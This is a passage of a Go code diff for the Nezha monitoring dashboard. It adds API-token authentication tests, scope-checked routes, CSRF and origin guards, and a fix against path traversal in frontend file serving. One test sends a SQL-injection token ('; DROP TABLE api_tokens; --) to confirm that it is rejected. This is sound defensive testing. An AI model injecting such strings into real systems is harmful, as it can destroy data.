*testing.T) { + defer setupAPITokenTest(t)() + + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("GET", "/", nil) + c.Request.Header.Set("Authorization", "Bearer nzp_"+strings.Repeat("X", 100*1024)) + apiTokenAuthMiddleware()(c) + require.True(t, c.IsAborted(), "huge nzp_ body must still abort (no DoS via lookup)") + require.Equal(t, http.StatusUnauthorized, w.Code) +} + +func TestAPITokenAuthMW_NonASCIITokenIsRejected(t *testing.T) { + defer setupAPITokenTest(t)() + + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("GET", "/", nil) + c.Request.Header.Set("Authorization", "Bearer nzp_中文😀💀") + apiTokenAuthMiddleware()(c) + require.True(t, c.IsAborted(), "non-ASCII nzp_ body must be rejected by hash lookup") + require.Equal(t, http.StatusUnauthorized, w.Code) +} + +func TestAPITokenAuthMW_SQLInjectionAttemptIsRejected(t *testing.T) { + defer setupAPITokenTest(t)() + + plain := "nzp_" + strings.Repeat("s", 32) + tok := model.APIToken{ + UserID: 10, + Name: "real", + TokenHash: model.HashAPIToken(plain), + } + tok.SetScopes([]string{model.ScopeServerRead}) + require.NoError(t, singleton.DB.Create(&tok).Error) + + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("GET", "/", nil) + c.Request.Header.Set("Authorization", "Bearer nzp_'; DROP TABLE api_tokens; --") + apiTokenAuthMiddleware()(c) + require.True(t, c.IsAborted(), "SQL-injection-shaped token must just look up and miss") + require.Equal(t, http.StatusUnauthorized, w.Code) + + var stored model.APIToken + require.NoError(t, singleton.DB.First(&stored, tok.ID).Error, + "real token row must survive — GORM uses prepared statements") +} + +func TestAPITokenAuthMW_LowercaseBearerPassesThrough(t *testing.T) { + defer setupAPITokenTest(t)() + + plain := "nzp_" + strings.Repeat("l", 32) + tok := model.APIToken{UserID: 10, Name: "x", TokenHash: model.HashAPIToken(plain)} + tok.SetScopes([]string{model.ScopeServerRead}) + require.NoError(t, singleton.DB.Create(&tok).Error) + require.NoError(t, singleton.DB.Create(&model.User{Common: model.Common{ID: 10}}).Error) + + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("GET", "/", nil) + c.Request.Header.Set("Authorization", "bearer "+plain) + apiTokenAuthMiddleware()(c) + require.False(t, c.IsAborted(), + "lowercase 'bearer ' is not the canonical scheme; PAT mw must skip it (RFC 7235 says scheme is case-insensitive, "+ + "but we deliberately match GitHub/AWS behaviour of strict 'Bearer ' to keep PAT/JWT lookup paths predictable)") + require.Nil(t, APITokenFromContext(c), "lowercase bearer must not register as PAT") +} + +func TestAPITokenAuthMW_TrailingWhitespaceTolerated(t *testing.T) { + defer setupAPITokenTest(t)() + + plain := "nzp_" + strings.Repeat("w", 32) + tok := model.APIToken{UserID: 10, Name: "trim", TokenHash: model.HashAPIToken(plain)} + tok.SetScopes([]string{model.ScopeServerRead}) + require.NoError(t, singleton.DB.Create(&tok).Error) + require.NoError(t, singleton.DB.Create(&model.User{Common: model.Common{ID: 10}}).Error) + + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("GET", "/", nil) + c.Request.Header.Set("Authorization", "Bearer "+plain+" ") + apiTokenAuthMiddleware()(c) + require.False(t, c.IsAborted(), + "trailing/leading whitespace around PAT must be trimmed (curl users often paste with newlines)") + require.NotNil(t, APITokenFromContext(c)) +} + +func TestCreateAPIToken_NameTooLongRejected(t *testing.T) { + defer setupAPITokenTest(t)() + c := ctxAsUser(10, model.RoleMember) + bindJSON(c, model.APITokenCreateRequest{ + Name: strings.Repeat("X", 129), + Scopes: []string{model.ScopeServerRead}, + }) + _, err := createAPIToken(c) + require.Error(t, err, "name >128 chars must be rejected (binding tag max=128 or handler check)") +} + +func TestCreateAPIToken_EmptyNameRejected(t *testing.T) { + defer setupAPITokenTest(t)() + c := ctxAsUser(10, model.RoleMember) + bindJSON(c, model.APITokenCreateRequest{ + Name: " ", + Scopes: []string{model.ScopeServerRead}, + }) + _, err := createAPIToken(c) + require.Error(t, err) + require.Contains(t, err.Error(), "name required") +} + +func TestAPIToken_DuplicateHashViolatesUniqueIndex(t *testing.T) { + defer setupAPITokenTest(t)() + + plain := "nzp_" + strings.Repeat("a", 32) + for _, uid := range []uint64{10, 11} { + tok := model.APIToken{ + UserID: uid, + Name: "dup", + TokenHash: model.HashAPIToken(plain), + } + tok.SetScopes([]string{model.ScopeServerRead}) + err := singleton.DB.Create(&tok).Error + if uid == 10 { + require.NoError(t, err, "first insert must succeed") + continue + } + require.Error(t, err, "duplicate hash must violate unique index (defense against forged tokens)") + require.Contains(t, err.Error(), "UNIQUE") + } +} + +func TestListAPITokens_ReturnsOnlyOwn(t *testing.T) { + defer setupAPITokenTest(t)() + for i, uid := range []uint64{10, 10, 20} { + tok := model.APIToken{UserID: uid, Name: "n", TokenHash: model.HashAPIToken("nzp_unique_" + itoa(uint64(i)))} + tok.SetScopes([]string{model.ScopeServerRead}) + require.NoError(t, singleton.DB.Create(&tok).Error) + } + c := ctxAsUser(10, model.RoleMember) + got, err := listAPITokens(c) + require.NoError(t, err) + require.Len(t, got, 2) +} + +func itoa(v uint64) string { + return strings.TrimSpace(jsonNum(v)) +} + +func jsonNum(v uint64) string { + b, _ := json.Marshal(v) + return string(b) +} + +// scope_doc.go and HasScope advertise nezha::* as a first-class +// scope shape, and rest_scope_test.go pins runtime support for it. The +// create-API-token endpoint must accept those wildcards too — otherwise +// the documented surface is unreachable via the only endpoint that can +// issue PATs. +func TestCreateAPIToken_AcceptsResourceWildcardScopes(t *testing.T) { + defer setupAPITokenTest(t)() + + cases := []string{ + "nezha:server:*", + "nezha:service:*", + "nezha:cron:*", + "nezha:transfer:*", + } + for _, scope := range cases { + t.Run(scope, func(t *testing.T) { + c := ctxAsUser(10, model.RoleMember) + bindJSON(c, model.APITokenCreateRequest{ + Name: "wildcard-" + scope, + Scopes: []string{scope}, + }) + res, err := createAPIToken(c) + require.NoError(t, err, "resource wildcard %q must be issuable", scope) + require.Contains(t, res.Scopes, scope) + }) + } +} + +// nezha:admin:* is admin-only and already on AdminOnlyScopes; this test +// ensures the new wildcard acceptance does NOT widen admin-only scopes +// to members. +func TestCreateAPIToken_ResourceWildcardStillRejectsAdminOnly(t *testing.T) { + defer setupAPITokenTest(t)() + c := ctxAsUser(10, model.RoleMember) + bindJSON(c, model.APITokenCreateRequest{ + Name: "member-tries-admin-wildcard", + Scopes: []string{"nezha:admin:*"}, + }) + _, err := createAPIToken(c) + require.Error(t, err) + require.Contains(t, err.Error(), "admin") +} + +// Unknown resources must still be rejected even with a wildcard verb so +// that nezha:bogus:* does not become a forward-compat blank cheque. +func TestCreateAPIToken_RejectsUnknownResourceWildcard(t *testing.T) { + defer setupAPITokenTest(t)() + c := ctxAsUser(1, model.RoleAdmin) + bindJSON(c, model.APITokenCreateRequest{ + Name: "bogus", + Scopes: []string{"nezha:bogus:*"}, + }) + _, err := createAPIToken(c) + require.Error(t, err) + require.Contains(t, err.Error(), "unknown scope") +} diff --git a/cmd/dashboard/controller/batch_move_pat_whitelist_test.go b/cmd/dashboard/controller/batch_move_pat_whitelist_test.go new file mode 100644 index 00000000..8925c8fa --- /dev/null +++ b/cmd/dashboard/controller/batch_move_pat_whitelist_test.go @@ -0,0 +1,71 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func callBatchMoveWithPAT(t *testing.T, callerID uint64, role model.Role, tok *model.APIToken, body string) ([]model.BatchMoveServerResult, bool, string) { + t.Helper() + r := gin.New() + r.Use(newPATCtxSetter(callerID, role, tok)) + r.POST("/batch-move/server", commonHandler(batchMoveServer)) + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/batch-move/server", bytes.NewReader([]byte(body))) + req.Header.Set("Content-Type", "application/json") + r.ServeHTTP(w, req) + + var resp struct { + Success bool `json:"success"` + Error string `json:"error"` + Data []model.BatchMoveServerResult `json:"data"` + } + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + return resp.Data, resp.Success, resp.Error +} + +func TestBatchMoveServer_AdminPATScopeNarrowsServerIDs(t *testing.T) { + cleanup := setupRetryServerTransferFixture(t) + defer cleanup() + seedServer(t, 1, 999) + seedServer(t, 2, 999) + + tok := &model.APIToken{ID: 18, UserID: 999} + tok.SetServerIDs([]uint64{1}) + + data, ok, errStr := callBatchMoveWithPAT(t, 999, model.RoleAdmin, tok, + `{"ids":[1,2],"to_user":200}`) + assert.True(t, ok, "batch-move call must succeed at the request layer: %s", errStr) + require.Len(t, data, 2) + + resultByID := map[uint64]model.BatchMoveServerResult{} + for _, r := range data { + resultByID[r.ServerID] = r + } + + assert.NotEqual(t, model.BatchMoveServerResultPending, resultByID[2].Status, + "admin PAT scoped to {1} MUST NOT be able to move server 2; got status=%q error=%q", + resultByID[2].Status, resultByID[2].Error) + + var pending int64 + require.NoError(t, singleton.DB.Model(&model.ServerTransfer{}). + Where("server_id = ? AND status = ?", 2, model.ServerTransferStatusPending). + Count(&pending).Error) + assert.Equal(t, int64(0), pending, + "rejected batch-move of server 2 must not create a Pending row") + + assert.Equal(t, model.BatchMoveServerResultPending, resultByID[1].Status, + "admin PAT scoped to {1} must still be able to move server 1; got status=%q error=%q", + resultByID[1].Status, resultByID[1].Error) +} diff --git a/cmd/dashboard/controller/controller.go b/cmd/dashboard/controller/controller.go index 6d8cc376..bfcf061f 100644 --- a/cmd/dashboard/controller/controller.go +++ b/cmd/dashboard/controller/controller.go @@ -8,7 +8,6 @@ import ( "log" "net/http" "os" - "path" "regexp" "slices" "strings" @@ -45,6 +44,8 @@ func ServeWeb(frontendDist fs.FS) http.Handler { routers(r, frontendDist) + kickoffTransferGC() + return r } @@ -56,6 +57,20 @@ func routers(r *gin.Engine, frontendDist fs.FS) { if err := authMiddleware.MiddlewareInit(); err != nil { log.Fatal("authMiddleware.MiddlewareInit Error:" + err.Error()) } + // /mcp — Model Context Protocol endpoint, authenticated by PAT only (闸 1 + 闸 2)。 + // 不放在 /api/v1 下：MCP client 配置 URL 更短，且 MCP transport 协议演进与 REST API + // 解耦。鉴权一律走 apiTokenAuthMiddleware；不接受 JWT 以避免浏览器误触。 + // mcpOriginGuard 防止 DNS rebinding / 浏览器跨站调用。 + r.POST("/mcp", mcpOriginGuard(), apiTokenAuthMiddleware(), mcpEndpoint) + // Streamable HTTP 规范要求：不实现 standalone SSE / session 时，GET / DELETE + // 必须显式返回 405，让客户端走 POST-only 路径并跳过 session 终止流程。 + // 不显式注册时，Gin 会走 NoRoute → fallbackToFrontend，对 MCP 客户端是 HTML/404。 + r.GET("/mcp", mcpOriginGuard(), mcpMethodNotAllowed) + r.DELETE("/mcp", mcpOriginGuard(), mcpMethodNotAllowed) + r.GET("/mcp/download/:token", mcpOriginGuard(), transferDownloadHandler) + r.POST("/mcp/upload/:token", mcpOriginGuard(), transferUploadHandler) + registerAgentcompatRoutes(r) + api := r.Group("api/v1") api.POST("/login", authMiddleware.LoginHandler) api.GET("/oauth2/:provider", commonHandler(oauth2redirect)) @@ -68,92 +83,113 @@ func routers(r *gin.Engine, frontendDist fs.FS) { fallbackAuth.GET("/setting", commonHandler(listConfig)) fallbackAuth.GET("/oauth2/callback", commonHandler(oauth2callback(authMiddleware))) - authMw := authMiddleware.MiddlewareFunc() - optionalAuthMw := utils.IfOr(singleton.Conf.ForceAuth, authMw, fallbackAuthMw) + jwtMw := authMiddleware.MiddlewareFunc() + patMw := apiTokenAuthMiddleware() + authMw := jwtOrPATAuthMiddleware(patMw, jwtMw) + // optional 路由：ForceAuth=true 走严格 PAT-or-JWT；ForceAuth=false 走 + // PAT-or-FallbackJWT，保证两种模式下 PAT 都会被解析，restScopeMiddleware + // 才能按 scope 真实收口（否则匿名 PAT 请求会被当 guest，scope 失效）。 + optionalAuthMw := utils.IfOr(singleton.Conf.ForceAuth, authMw, patOrFallbackAuthMiddleware(patMw, fallbackAuthMw)) optionalAuth := api.Group("", optionalAuthMw) - optionalAuth.GET("/ws/server", commonHandler(serverStream)) - optionalAuth.GET("/server-group", commonHandler(listServerGroup)) + optionalAuth.GET("/ws/server", restScopeMiddleware(model.ScopeInventoryRead), commonHandler(serverStream)) + optionalAuth.GET("/server-group", restScopeMiddleware(model.ScopeInventoryRead), commonHandler(listServerGroup)) - optionalAuth.GET("/service", commonHandler(showService)) - optionalAuth.GET("/service/server", commonHandler(listServerWithServices)) + optionalAuth.GET("/service", restScopeMiddleware(model.ScopeServiceRead), commonHandler(showService)) + optionalAuth.GET("/service/server", restScopeMiddleware(model.ScopeServiceRead), commonHandler(listServerWithServices)) optionalAuth.GET("/domains", commonHandler(GetDomainList)) - optionalAuth.GET("/service/:id/history", commonHandler(getServiceHistory)) - optionalAuth.GET("/server/:id/service", commonHandler(listServerServices)) - optionalAuth.GET("/server/:id/metrics", commonHandler(getServerMetrics)) + optionalAuth.GET("/service/:id/history", restScopeMiddleware(model.ScopeServiceRead), commonHandler(getServiceHistory)) + optionalAuth.GET("/server/:id/service", restScopeMiddleware(model.ScopeServiceRead), commonHandler(listServerServices)) + optionalAuth.GET("/server/:id/metrics", restScopeMiddleware(model.ScopeServerRead), commonHandler(getServerMetrics)) - auth := api.Group("", authMw) + // CSRF middleware applies group-wide. Safe methods short-circuit and + // PAT bearer requests bypass — so the only callers gated are + // cookie-JWT POST/PATCH/PUT/DELETE, which is exactly the H6 surface. + auth := api.Group("", authMw, csrfMiddleware()) - auth.GET("/refresh-token", authMiddleware.RefreshHandler) + // 「自我管理」类端点 — 显式禁止 PAT 访问（避免 PAT 自我提权链）。 + patForbidden := restPATForbiddenMiddleware() + auth.POST("/refresh-token", patForbidden, authMiddleware.RefreshHandler) + auth.GET("/profile", patForbidden, commonHandler(getProfile)) + auth.POST("/profile", patForbidden, commonHandler(updateProfile)) + auth.POST("/oauth2/:provider/unbind", patForbidden, commonHandler(unbindOauth2)) + auth.GET("/api-tokens", patForbidden, commonHandler(listAPITokens)) + auth.POST("/api-tokens", patForbidden, commonHandler(createAPIToken)) + auth.DELETE("/api-tokens/:id", patForbidden, commonHandler(deleteAPIToken)) - auth.GET("/file", commonHandler(createFM)) - auth.GET("/ws/file/:id", commonHandler(fmStream)) + // 资源族划分： + // - nezha:inventory:* —— 对“服务器台账”的枚举与删除（列出 server / server-group、 + // 删除 server / server-group）。这是管理后台清单管理动作。 + // - nezha:server:* —— 对已知 server 的运行态操作（文件读写、编辑配置、 + // force-update、batch-move）。（Web Terminal 按安全要求已移除） + auth.POST("/file", restScopeAllOf(model.ScopeServerRead, model.ScopeServerWrite, model.ScopeServerDelete), commonHandler(createFM)) + auth.GET("/ws/file/:id", restScopeAllOf(model.ScopeServerRead, model.ScopeServerWrite, model.ScopeServerDelete), commonHandler(fmStream)) + auth.GET("/server", restScopeMiddleware(model.ScopeInventoryRead), listHandler(listServer)) + auth.PATCH("/server/:id", restScopeMiddleware(model.ScopeServerWrite), commonHandler(updateServer)) + auth.GET("/server/config/:id", restScopeMiddleware(serverConfigSensitiveScope()), commonHandler(getServerConfig)) + auth.POST("/server/config", restScopeMiddleware(model.ScopeServerWrite), commonHandler(setServerConfig)) + auth.POST("/batch-delete/server", restScopeMiddleware(model.ScopeInventoryDelete), commonHandler(batchDeleteServer)) + auth.POST("/batch-move/server", restScopeMiddleware(model.ScopeServerWrite), commonHandler(batchMoveServer)) + auth.POST("/force-update/server", restScopeMiddleware(model.ScopeServerWrite), commonHandler(forceUpdateServer)) + auth.POST("/server-group", restScopeMiddleware(model.ScopeServerWrite), commonHandler(createServerGroup)) + auth.PATCH("/server-group/:id", restScopeMiddleware(model.ScopeServerWrite), commonHandler(updateServerGroup)) + auth.POST("/batch-delete/server-group", restScopeMiddleware(model.ScopeInventoryDelete), commonHandler(batchDeleteServerGroup)) - auth.GET("/profile", commonHandler(getProfile)) - auth.POST("/profile", commonHandler(updateProfile)) - auth.POST("/oauth2/:provider/unbind", commonHandler(unbindOauth2)) + // transfer — 严格使用 nezha:transfer 资源族 scope（read/write/delete）。 + auth.GET("/transfer", restScopeMiddleware(model.ScopeTransferRead), listHandler(listServerTransfer)) + auth.POST("/transfer/:id/cancel", restScopeMiddleware(model.ScopeTransferWrite), commonHandler(cancelServerTransfer)) + auth.POST("/transfer/:id/retry", restScopeMiddleware(model.ScopeTransferWrite), commonHandler(retryServerTransfer)) + auth.GET("/ws/transfer", restScopeMiddleware(model.ScopeTransferRead), commonHandler(transferStream)) - auth.GET("/user", adminHandler(listUser)) - auth.POST("/user", adminHandler(createUser)) - auth.POST("/batch-delete/user", adminHandler(batchDeleteUser)) - auth.GET("/service/list", listHandler(listService)) - auth.POST("/service", commonHandler(createService)) - auth.PATCH("/service/:id", commonHandler(updateService)) - auth.POST("/batch-delete/service", commonHandler(batchDeleteService)) + // service monitor + auth.GET("/service/list", restScopeMiddleware(model.ScopeServiceRead), listHandler(listService)) + auth.POST("/service", restScopeMiddleware(model.ScopeServiceWrite), commonHandler(createService)) + auth.PATCH("/service/:id", restScopeMiddleware(model.ScopeServiceWrite), commonHandler(updateService)) + auth.POST("/batch-delete/service", restScopeMiddleware(model.ScopeServiceDelete), commonHandler(batchDeleteService)) - auth.POST("/server-group", commonHandler(createServerGroup)) - auth.PATCH("/server-group/:id", commonHandler(updateServerGroup)) - auth.POST("/batch-delete/server-group", commonHandler(batchDeleteServerGroup)) + auth.GET("/notification-group", restScopeMiddleware(model.ScopeNotificationGroupRead), commonHandler(listNotificationGroup)) + auth.POST("/notification-group", restScopeMiddleware(model.ScopeNotificationGroupWrite), commonHandler(createNotificationGroup)) + auth.PATCH("/notification-group/:id", restScopeMiddleware(model.ScopeNotificationGroupWrite), commonHandler(updateNotificationGroup)) + auth.POST("/batch-delete/notification-group", restScopeMiddleware(model.ScopeNotificationGroupDelete), commonHandler(batchDeleteNotificationGroup)) - auth.GET("/notification-group", commonHandler(listNotificationGroup)) - auth.POST("/notification-group", commonHandler(createNotificationGroup)) - auth.PATCH("/notification-group/:id", commonHandler(updateNotificationGroup)) - auth.POST("/batch-delete/notification-group", commonHandler(batchDeleteNotificationGroup)) + auth.GET("/notification", restScopeMiddleware(model.ScopeNotificationRead), listHandler(listNotification)) + auth.POST("/notification", restScopeMiddleware(model.ScopeNotificationWrite), commonHandler(createNotification)) + auth.PATCH("/notification/:id", restScopeMiddleware(model.ScopeNotificationWrite), commonHandler(updateNotification)) + auth.POST("/batch-delete/notification", restScopeMiddleware(model.ScopeNotificationDelete), commonHandler(batchDeleteNotification)) - auth.GET("/server", listHandler(listServer)) - auth.PATCH("/server/:id", commonHandler(updateServer)) - auth.GET("/server/config/:id", commonHandler(getServerConfig)) - auth.POST("/server/config", commonHandler(setServerConfig)) - auth.POST("/batch-delete/server", commonHandler(batchDeleteServer)) - auth.POST("/batch-move/server", commonHandler(batchMoveServer)) - auth.POST("/force-update/server", commonHandler(forceUpdateServer)) + auth.GET("/alert-rule", restScopeMiddleware(model.ScopeAlertRuleRead), listHandler(listAlertRule)) + auth.POST("/alert-rule", restScopeMiddleware(model.ScopeAlertRuleWrite), commonHandler(createAlertRule)) + auth.PATCH("/alert-rule/:id", restScopeMiddleware(model.ScopeAlertRuleWrite), commonHandler(updateAlertRule)) + auth.POST("/batch-delete/alert-rule", restScopeMiddleware(model.ScopeAlertRuleDelete), commonHandler(batchDeleteAlertRule)) - auth.GET("/notification", listHandler(listNotification)) - auth.POST("/notification", commonHandler(createNotification)) - auth.PATCH("/notification/:id", commonHandler(updateNotification)) - auth.POST("/batch-delete/notification", commonHandler(batchDeleteNotification)) + auth.GET("/cron", restScopeMiddleware(model.ScopeCronRead), listHandler(listCron)) + auth.POST("/cron", restScopeMiddleware(model.ScopeCronWrite), commonHandler(createCron)) + auth.PATCH("/cron/:id", restScopeMiddleware(model.ScopeCronWrite), commonHandler(updateCron)) + auth.POST("/cron/:id/manual", restScopeMiddleware(model.ScopeCronExec), commonHandler(manualTriggerCron)) + auth.POST("/batch-delete/cron", restScopeMiddleware(model.ScopeCronDelete), commonHandler(batchDeleteCron)) - auth.GET("/alert-rule", listHandler(listAlertRule)) - auth.POST("/alert-rule", commonHandler(createAlertRule)) - auth.PATCH("/alert-rule/:id", commonHandler(updateAlertRule)) - auth.POST("/batch-delete/alert-rule", commonHandler(batchDeleteAlertRule)) + auth.GET("/ddns", restScopeMiddleware(model.ScopeDDNSRead), listHandler(listDDNS)) + auth.GET("/ddns/providers", restScopeMiddleware(model.ScopeDDNSRead), commonHandler(listProviders)) + auth.POST("/ddns", restScopeMiddleware(model.ScopeDDNSWrite), commonHandler(createDDNS)) + auth.PATCH("/ddns/:id", restScopeMiddleware(model.ScopeDDNSWrite), commonHandler(updateDDNS)) + auth.POST("/batch-delete/ddns", restScopeMiddleware(model.ScopeDDNSDelete), commonHandler(batchDeleteDDNS)) - auth.GET("/cron", listHandler(listCron)) - auth.POST("/cron", commonHandler(createCron)) - auth.PATCH("/cron/:id", commonHandler(updateCron)) - auth.GET("/cron/:id/manual", commonHandler(manualTriggerCron)) - auth.POST("/batch-delete/cron", commonHandler(batchDeleteCron)) + auth.GET("/nat", restScopeMiddleware(model.ScopeNATRead), listHandler(listNAT)) + auth.POST("/nat", restScopeMiddleware(model.ScopeNATWrite), commonHandler(createNAT)) + auth.PATCH("/nat/:id", restScopeMiddleware(model.ScopeNATWrite), commonHandler(updateNAT)) + auth.POST("/batch-delete/nat", restScopeMiddleware(model.ScopeNATDelete), commonHandler(batchDeleteNAT)) - auth.GET("/ddns", listHandler(listDDNS)) - auth.GET("/ddns/providers", commonHandler(listProviders)) - auth.POST("/ddns", commonHandler(createDDNS)) - auth.PATCH("/ddns/:id", commonHandler(updateDDNS)) - auth.POST("/batch-delete/ddns", commonHandler(batchDeleteDDNS)) - - auth.GET("/nat", listHandler(listNAT)) - auth.POST("/nat", commonHandler(createNAT)) - auth.PATCH("/nat/:id", commonHandler(updateNAT)) - auth.POST("/batch-delete/nat", commonHandler(batchDeleteNAT)) - - auth.GET("/waf", pCommonHandler(listBlockedAddress)) - auth.POST("/batch-delete/waf", adminHandler(batchDeleteBlockedAddress)) - - auth.GET("/online-user", pCommonHandler(listOnlineUser)) - auth.POST("/online-user/batch-block", adminHandler(batchBlockOnlineUser)) - - auth.PATCH("/setting", adminHandler(updateConfig)) - auth.POST("/maintenance", adminHandler(runMaintenance)) + // 管理员资源 — 仅 nezha:* / nezha:admin:* 持有者可调（adminHandler 进一步校验 user.Role）。 + auth.GET("/user", restScopeMiddleware(model.ScopeAdminAll), adminHandler(listUser)) + auth.POST("/user", restScopeMiddleware(model.ScopeAdminAll), adminHandler(createUser)) + auth.POST("/batch-delete/user", restScopeMiddleware(model.ScopeAdminAll), adminHandler(batchDeleteUser)) + auth.GET("/waf", restScopeMiddleware(model.ScopeAdminAll), pAdminHandler(listBlockedAddress)) + auth.POST("/batch-delete/waf", restScopeMiddleware(model.ScopeAdminAll), adminHandler(batchDeleteBlockedAddress)) + auth.GET("/online-user", restScopeMiddleware(model.ScopeAdminAll), pAdminHandler(listOnlineUser)) + auth.POST("/online-user/batch-block", restScopeMiddleware(model.ScopeAdminAll), adminHandler(batchBlockOnlineUser)) + auth.PATCH("/setting", restScopeMiddleware(model.ScopeAdminAll), adminHandler(updateConfig)) + auth.POST("/maintenance", restScopeMiddleware(model.ScopeAdminAll), adminHandler(runMaintenance)) auth.POST("/domains", commonHandler(AddDomain)) auth.POST("/domains/:id/verify", commonHandler(VerifyDomain)) @@ -293,6 +329,29 @@ func pCommonHandler[S ~[]E, E any](handler pHandlerFunc[S, E]) func(*gin.Context } } +func pAdminHandler[S ~[]E, E any](handler pHandlerFunc[S, E]) func(*gin.Context) { + return func(c *gin.Context) { + auth, ok := c.Get(model.CtxKeyAuthorizedUser) + if !ok { + c.JSON(http.StatusOK, newErrorResponse(singleton.Localizer.ErrorT("unauthorized"))) + return + } + user := *auth.(*model.User) + if !user.Role.IsAdmin() { + c.JSON(http.StatusOK, newErrorResponse(singleton.Localizer.ErrorT("permission denied"))) + return + } + + data, err := handler(c) + if err != nil { + c.JSON(http.StatusOK, newErrorResponse(err)) + return + } + + c.JSON(http.StatusOK, model.PaginatedResponse[S, E]{Success: true, Data: data}) + } +} + func filter[S ~[]E, E model.CommonInterface](ctx *gin.Context, s S) S { return slices.DeleteFunc(s, func(e E) bool { return !e.HasPermission(ctx) @@ -305,27 +364,52 @@ func getUid(c *gin.Context) uint64 { } func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) { - checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool { - if _, err := os.Stat(path); err == nil { - http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path) - return true - } - f, err := fs.Open(path) - if err != nil { - return false - } - defer f.Close() - fileStat, err := f.Stat() + serveFile := func(c *gin.Context, name string, file fs.File, customStatusCode int) bool { + defer file.Close() + fileStat, err := file.Stat() if err != nil { return false } if fileStat.IsDir() { return false } - http.ServeContent(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path, fileStat.ModTime(), f.(io.ReadSeeker)) + readSeeker, ok := file.(io.ReadSeeker) + if !ok { + return false + } + http.ServeContent(utils.NewGinCustomWriter(c, customStatusCode), c.Request, name, fileStat.ModTime(), readSeeker) return true } + checkLocalFileOrFs := func(c *gin.Context, frontendFS fs.FS, templateRoot, filePath string, customStatusCode int) bool { + if filePath != "" { + localRoot, err := os.OpenRoot(templateRoot) + if err == nil { + defer localRoot.Close() + // URL paths must stay inside the selected template root; never join them against the process cwd. + if file, err := localRoot.Open(filePath); err == nil && serveFile(c, filePath, file, customStatusCode) { + return true + } + } + } + + if !fs.ValidPath(filePath) { + return false + } + templateFS, err := fs.Sub(frontendFS, templateRoot) + if err != nil { + return false + } + file, err := templateFS.Open(filePath) + if err != nil { + return false + } + if serveFile(c, filePath, file, customStatusCode) { + return true + } + return false + } + frontendPageUrlRegistry := []*regexp.Regexp{ // official user frontend regexp.MustCompile(`^/$`), @@ -346,6 +430,12 @@ func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) { regexp.MustCompile(`^/dashboard/settings/user$`), regexp.MustCompile(`^/dashboard/settings/online-user$`), regexp.MustCompile(`^/dashboard/settings/waf$`), + regexp.MustCompile(`^/dashboard/settings/api-tokens$`), + // 注意：这里的白名单决定哪些 URL 走 index.html fallback；漏一条就会把 + // 直接刷新该页面变成 404（HTTP 状态码层面，body 仍是 index.html，所以 + // 浏览器内 SPA 看起来正常，但 monitoring / 链接预览会以为站点挂了）。 + // 新增前端路由时必须在 admin-frontend/src/main.tsx 与这里同步加。 + regexp.MustCompile(`^/dashboard/transfer$`), } getFallbackStatusCode := func(path string) int { @@ -370,22 +460,22 @@ func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) { } fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path) - if strings.HasPrefix(c.Request.URL.Path, "/dashboard") { - stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard") - localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath) - if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) { + // Only /dashboard/ belongs to the admin frontend; /dashboard.. must not be trimmed into ../. + if strings.HasPrefix(c.Request.URL.Path, "/dashboard/") { + stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard/") + if checkLocalFileOrFs(c, frontendDist, singleton.Conf.AdminTemplate, stripPath, http.StatusOK) { return } - if !checkLocalFileOrFs(c, frontendDist, singleton.Conf.AdminTemplate+"/index.html", fallbackStatusCode) { + if !checkLocalFileOrFs(c, frontendDist, singleton.Conf.AdminTemplate, "index.html", fallbackStatusCode) { c.JSON(http.StatusNotFound, newErrorResponse(errors.New("404 Not Found"))) } return } - localFilePath := path.Join(singleton.Conf.UserTemplate, c.Request.URL.Path) - if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) { + stripPath := strings.TrimPrefix(c.Request.URL.Path, "/") + if checkLocalFileOrFs(c, frontendDist, singleton.Conf.UserTemplate, stripPath, http.StatusOK) { return } - if !checkLocalFileOrFs(c, frontendDist, singleton.Conf.UserTemplate+"/index.html", fallbackStatusCode) { + if !checkLocalFileOrFs(c, frontendDist, singleton.Conf.UserTemplate, "index.html", fallbackStatusCode) { c.JSON(http.StatusNotFound, newErrorResponse(errors.New("404 Not Found"))) } } diff --git a/cmd/dashboard/controller/credential_redaction_test.go b/cmd/dashboard/controller/credential_redaction_test.go new file mode 100644 index 00000000..14b289da --- /dev/null +++ b/cmd/dashboard/controller/credential_redaction_test.go @@ -0,0 +1,269 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + "golang.org/x/crypto/bcrypt" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func TestGetProfile_RedactsPasswordHash(t *testing.T) { + defer setupTenancyTest(t)() + require.NoError(t, singleton.DB.AutoMigrate(&model.Oauth2Bind{})) + + passwordHash := "$2a$10$profilePasswordHashMustNotLeak012345678901" + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest(http.MethodGet, "/api/v1/profile", nil) + 